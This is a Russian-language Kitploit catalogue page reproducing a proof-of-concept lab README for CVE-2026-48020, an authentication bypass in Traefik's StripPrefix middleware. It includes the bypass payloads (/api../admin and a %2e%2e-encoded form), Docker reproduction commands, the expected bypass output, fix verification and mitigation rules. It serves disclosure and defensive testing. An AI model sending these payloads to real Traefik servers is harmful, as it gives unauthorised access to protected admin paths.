Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — # Лаборатория Proof-of-Concept для CVE-2026-48020 Лаборатория Proof-of-Concept для CVE-2026-48020, демонстрирующая критический обход аутентификации в middleware StripPrefix от Traefik через нормализацию пути. Включает среду воспроизведения на базе Docker и скрипты проверки. | Kitploit
Инструменты/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

# Лаборатория Proof-of-Concept для CVE-2026-48020 Лаборатория Proof-of-Concept для CVE-2026-48020, демонстрирующая критический обход аутентификации в middleware StripPrefix от Traefik через нормализацию пути. Включает среду воспроизведения на базе Docker и скрипты проверки.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-48020 — Обход аутентификации на уровне маршрутов Traefik StripPrefix (PoC)

Автономная proof-of-concept для CVE-2026-48020 — обхода аутентификации/авторизации на уровне маршрутов в middleware StripPrefix от Traefik, вызванного нормализацией пути, выполняемой после принятия решений о маршрутизации.

Запрос вида GET /api../admin на этапе маршрутизации проходит через публичный роутер PathPrefix(\/api`)(поэтому middlewarebasicAuthзащищённого роутера никогда не подключается), но после того, какStripPrefixудаляет/api, а Go req.URL.JoinPath()нормализует остаток/../admin/admin` — путь, который должен был быть защищён.

, бэкенд получает
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
ЗатронутоTraefik <= v2.11.46, <= v3.6.17, <= v3.7.1
Исправлено вv2.11.48, v3.6.19, v3.7.3

Схема лаборатории

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

Файлы

ФайлНазначение
docker-compose.ymlПоднимает уязвимый Traefik (v3.7.1) + Python-бэкенд
dynamic.ymlДинамическая конфигурация Traefik: публичный /api strip-маршрут и защищённые /admin, /internal маршруты за basicAuth
backend.pyМиниатюрный бэкенд, возвращающий секрет для защищённых путей
poc.pyОтправляет bypass-пейлоады и сообщает, какие пути были достигнуты

Воспроизведение

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

Ожидаемый вывод на уязвимом Traefik

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

На пропатченном Traefik (v3.7.3)

Bypass-пейлоады вместо 200 возвращают 404. Патч (Traefik PR #13215) отклоняет любой запрос, путь которого изменяется после нормализации StripPrefix/StripPrefixRegex, поэтому переписывание /../admin обнаруживается и отклоняется.

Проверка исправления

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

Меры снижения риска (без обновления)

Предотвратите сопоставление публичного маршрута с формой обхода пути:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

Раскрытие информации

Сообщено мейнтейнерам Traefik участником WonYun / kyun0 (GitHub: H4ck2); исправлено в GHSA-xf64-8mw2-4gr2. Данная PoC-лаборатория — независимое воспроизведение, созданное для сопутствующей статьи: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

Скачать инструмент